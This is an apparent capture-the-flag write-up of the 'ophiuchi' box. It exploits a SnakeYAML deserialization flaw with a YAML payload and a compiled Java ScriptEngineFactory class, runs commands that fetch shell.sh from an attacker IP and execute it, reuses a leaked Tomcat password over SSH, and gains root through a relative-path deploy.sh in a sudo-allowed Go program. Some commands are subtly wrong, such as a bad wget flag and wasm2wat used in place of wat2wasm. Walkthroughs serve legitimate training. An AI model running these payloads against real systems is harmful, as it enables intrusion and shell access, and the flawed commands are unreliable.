As always, we start with nmap to discover open ports/services.
Nmap scan
nmap -sC -sV -oA ophiuchi 10.10.10.227
Nmap scan report for 10.10.10.227 (10.10.10.227)
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.18 seconds
There are two ports open, ssh on 22 and http on 8080 and both versions have no critical vulnerabilities. So lets check port 8080.
HTTP Enumeration
Going to http://10.10.10.227/ , we find a YAML parser functionality.
Tried inserting normal YAML and got an error.
I think showing an error doesn’t mean that the YAML data is already being parsed on the server or not, maybe it’s parsed and then the server itself returns this message.
So doing some research i found a deserialization exploit for SnakeYAML library and a good blog that walkthrough exploiting this vulnerability.
https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
So lets try what the blog says and run a python server then inject the following YAML data.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
Got the same error, but looking at my python server i got a hit.
As you can see the exploit expects a file javax.script.ScriptEngineFactory Inside /META-INF/services/ directory, and the content of this file points to a java class file that contains our exploit.
So first we need to create this class file and compile it then create javax.script.ScriptEngineFactory file inside /META-INF/services/ that points to our exploit file.
yaml/exploit.java
We will call our exploit file exploit.java and place it inside yaml directory and the content will be as following.
package yaml;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class exploit implements ScriptEngineFactory {
public exploit() {
try {
Runtime.getRuntime().exec("ping -c 2 10.10.16.5");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
This code will execute ping command to ping our attacker machine. Now lets compile it with javac yaml/exploit.java
Now lets create the javax.script.ScriptEngineFactory inside META-INF/services/ and put yaml.exploit
inside this file.
Now inject the same YAML data again and run tcpdump to capture any icmp packets
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
And got ICMP request successfully!
Now lets get a shell on the box!
Initial Foothold
Edit exploit.java and replace the ping line with the following code
Runtime.getRuntime().exec("wget http://10.10.16.5:8000/shell.sh -w /tmp/shell.sh");
Runtime.getRuntime().exec("bash /tmp/shell.sh");
And recompile it again with javac yaml/exploit.java
. Now inject the same YAML data again and we get a shell on the box as “tomcat”!
Lateral Movement
Running linpeas it found tomcat credentials in tomcat-users.xml file.
Trying SSH with the same credentials we found admin:whythereisalimit and we are now user admin.
Getting root
Running sudo -l we can run /usr/bin/go run /opt/wasm-functions/index.go as root.
Reading the index.go file we see that it reads main.wasm and executes deploy.sh without typing the full path, so it can be exploited by copying the files to a different directory. Also it checks for the value of variable “f” from main.wasm.
- If “f” !=1 ==> “Not ready to deploy”
- If “f” == 1 ==> “Ready to deploy” and executes the “deploy.sh” file.
Also the current directory matters when running go application.
So we need to copy deploy.sh and main.wasm to another directory to modify them.
There is a tool that converts wasm <==> wat
https://github.com/WebAssembly/wabt
wat2wasm: translate from WebAssembly text format to the WebAssembly binary format.
wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat).
Lets convert main.wasm to a readable format and change the value of “f” to 1
./wasm2wat main.wasm -o main.wat
Change i32.const from 0 to 1 and save the file.
Now lets convert main.wat back to main.wasm.
mv main.wasm main.wasm.bak
./wasm2wat main.wat -o main.wasm
chmod +x main.wasm deploy.sh
echo 'echo $(id);' > deploy.sh
Lets run sudo /usr/bin/go run /opt/wasm-functions/index.go
from current directory.
It successfully executed our “deploy.sh” file and executed id command.
Now Lets modify the “deploy.sh” to give us a root shell instead of echoing the id.
Finally got a shell!